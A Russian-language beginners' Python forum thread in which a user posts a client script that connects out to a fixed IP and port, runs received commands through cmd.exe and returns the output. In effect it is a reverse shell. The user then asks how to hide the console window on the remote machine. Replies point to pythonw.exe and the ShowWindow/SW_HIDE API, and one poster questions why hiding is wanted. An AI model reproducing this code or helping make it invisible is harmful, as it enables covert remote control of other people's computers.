Найти - Пользователи
Полная версия: Скрыть консоль в python
Начало » Python для новичков » Скрыть консоль в python
1
web-bomber
Ребят, помогите пожалуйста, знаю проблема глупая, но уже 3-й день мучаюсь. Есть две программы: Сервер и Клиент. На своей машине запускаю сервер, а на удаленной клиент. Задача была получить удаленно командную строку (cmd). Все работает отлично, но при запуске клиента открывается пустая командная строка, хотелось бы ее скрыть. Вот код клиента
 #!/usr/bin/python3.5
from socket import *
import subprocess, time
while True:
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect(('192.168.0.228', 6996))
    try:
        data = sock.recv(1024)
        if not data: break
        result = subprocess.run(['cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=data)
    except:
        break
    sock.send(result.stdout)
    sock.send(result.stderr)
sock.close()
doza_and
web-bomber
но при запуске клиента открывается пустая командная строка
Это не она открывается а вы ее открываете. запускайте питон без запуска cmd. Код на питоне на это никак не влияет.
web-bomber
doza_and
Извиняюсь, я кривой код вставил. cmd все равно будет открываться у клиента, даже если py в exe скомпилировать. Думал смотреть в сторону SW_HIDE но не знаю что с этим делать. Помогите, пожалуйста)
PEHDOM
web-bomber
Думал смотреть в сторону SW_HIDE но не знаю что с этим делать.
ничего не делать, это ключ в winAPI. чтобы его использовать вам нужно получить хендл на окно и с помощью например функции ShowWindow установить окну признак срытый(SW_HIDE или 0) тогда окошко исчезнет, но вам оно всеравно не нужно.
web-bomber
cmd все равно будет открываться у клиента, даже если py в exe скомпилировать.
а нахрена вам cmd? вы через него запускаете скрипт клиента? почему сразу не запускать пайтон без консоли?
pythonw.exe с:…бла-бла-бла\client.py
web-bomber
Мне надо уделенно настраивать пк через cmd. Можете примерно показать как это будет выглядеть, пожалуйста . Скомпилировал client.py в exe. Запуская, все коннектится, но появляется пустая консоль, хотел бы ее и скрыть.
PEHDOM
JOHN_16
Когда то давно делал так
PEHDOM
web-bomber я не пойму то вам консоль нужна так как вы через нее чтото там настраиваете то не нужна потому что гладиолус. Давайте вы поподробнее опишете что вы делаете. Вы собираете exe из .py потом отттуда запускаете cmd консоль, а из нее еще чтото? зачем вам консоль и зачем вам ее скрывать?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB